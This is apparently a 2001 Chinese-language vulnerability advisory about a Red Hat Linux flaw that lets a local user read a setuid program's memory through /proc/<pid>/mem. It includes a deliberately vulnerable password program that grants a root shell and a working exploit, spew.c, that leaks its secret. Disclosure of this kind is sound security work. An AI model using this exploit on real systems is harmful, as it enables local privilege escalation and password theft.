Linux允许读取SETUID程序中的内存信息发布时间:2001-07-04 更新时间:2001-07-04 严重程度:高 威胁程度:口令恢复 错误类型:设计错误 利用方式:服务器模式 受影响系统 Redhat详细描述 在证实的Redhat linux操作系统中存在本地用户可以读取高权利程序的 内存内容,这可导致攻击者可以获得内容中的一些敏感信息如用户名和 密码。在部分环境下存在可能通过close()ing fd 0来读/proc/$$/mem和 用/proc/<curpid>/mem来打开它,在打开它以后,lseek()ing你想读的 进程中的内存偏移量会导致程序在那个位置以文本输入方式获取内存内容。 (如/proc/<curpid>/mem文件句柄通过execve()继续保留并且setuid进程有 权利读取). 测试代码 下面一个程序模拟一密码程序: /********************************************** ** vuln-prog.c - chown root:root, chmod u+s ** **********************************************/ char *password, *input; main(int argc,char*argv[]) { int fd,count; if(0>(fd=open("/dev/urandom",0)))exit(1);//check for resource starvation password=(char*)malloc(17); read(fd,password,16); if(close(fd))exit(1); password[16]=0; input=(char*)malloc(17); for(count=0;count<16;count++)input[count]=getchar(); input[count]=0; for(count=0;count<16;count++)if(input[count]!=password[count])exit(1); setreuid(0,0); execl("/bin/bash","sh","-c",argv[1],0); } EOF Generic exploit: /* spew.c */ #include <stdio.h> /* to get the address, ltrace a copy of the program as a normal user, or brute force it over the expected range. */ #define WHERETOREAD [the address malloced for password by vuln-prog] // use ltrace on a non setuid copy of the program, or bruteforce it. main() { char y[1000]; FILE *f; int p; p=getpid(); sprintf(y,"/proc/%d/mem",p); close(0); f=fopen(y,"r"); fseek(f,WHERETOREAD,SEEK_SET); execl("/tmp/vuln-prog","scary","/tmp/myscript",0); } EOF 解决方案 尚无 相关信息 |